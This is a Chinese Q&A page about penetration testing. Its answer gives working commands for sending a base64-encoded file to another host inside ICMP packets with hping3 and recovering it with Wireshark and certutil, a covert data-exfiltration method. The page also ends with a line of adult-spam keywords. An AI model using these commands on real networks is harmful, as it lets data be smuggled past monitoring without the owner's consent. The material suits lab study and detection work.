<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    滲透測試如何發送 ICMP 數據包


    發現錯別字 2年前 提問
    回答
    1
    瀏覽
    527
    請勿發布不友善或者負能量的內容。與人為善,比聰明更重要!
    回答數量: 1
    安全集成(專業級)SP/PL CICSA

    1.base64編碼

    1.將我們要傳輸的文件進行base64編碼:

    base64 XXX>test              #linux
    certutil -encode test.zip temp    #windows
    #-encode  base64編碼
    #test.zip 要加密的文件
    #temp      生成的base64編碼文件

    2.監聽icmp

    在接收的遠程主機上輸入下面的命令監聽接收的數據,并開啟wireshark,并設置過濾策略為只監聽icmp

    hping3 x.x.x.x --listen signature --safe --icmp -u

    參數說明:

    (1)–listen   指定hping3為監聽模式,接收發來的數據

    (2)signature  指定接收數據的簽名,每條發來的數據都會在最前面帶上這個字符串,也就是說,“signature”這個字符串后就是我們接受到的數據,后面拼接是要用到

    (3)–safe   以安全模式接收,確保發來的數據包是按照發送順序,完整的接收到

    (4)–icmp   指定通過icmp協議傳輸

    (5)-u     接收完成后自動中斷(官方資料如是說,但是我這里沒有達到這個效果)

    (6)x.x.x.x   是我們指定的需要接收的地址,也就是表明:我們只接收來自192.168.164.128發來的icmp數據包

    3.發送文件

    在發送方執行下面的命令,來通過icmp數據包發送文件

    sudo hping3 192.168.164.136 --icmp -d 1000 --sign signature --file test -u

    參數說明:(與上面重復的不在說明)

    (1)x.x.x.x      指定我們要發送給那個主機

    (2)-d         指定每個數據包的大小

    (3)–sign signature  指定簽名內容,也就是上一步我們需要接收的簽名字符串為”signature”

    (4)–file test     指定我們要傳輸的文件為test文件,也就是我們進行base64編碼后的編碼文件

    按理說,應該也可以用–safe參數的,但是我這里用–safe后,目的地址就變成了127.0.0.1,不知道怎們回事,暫且不用

    加了-u參數后,文件發送完成,它會提示我們按下ctrl+c來停止傳送,如果不停止,它會反復發送

    4.接受數據包

    在接收端wireshark已經可以看到接受到的數據包

    這里由于測試,我們的文件比較短,直接提取data中text類型中的字符串,右鍵->copy->value就可以取到

    由于我們取到的值進行了簽名,就是前面的“signature”字符串,我們直接去掉這個字符串,只保留后面的base64編碼,保存為temp

    5.執行解碼命令

    在接收端執行解碼命令還原文件

    cat temp|base64 -d>test       #linux
    certutil -decode temp test.zip  #windows
    #-decode  base64編碼
    #temp      要解密的base64編碼文件
    #test.zip   生還原的文件

    可以看到已經對文件進行了還原,是一個zip文件。

    傳輸完成。

    回答所涉及的環境:聯想天逸510S、Windows 10。

    2年前 / 評論
    亚洲 欧美 自拍 唯美 另类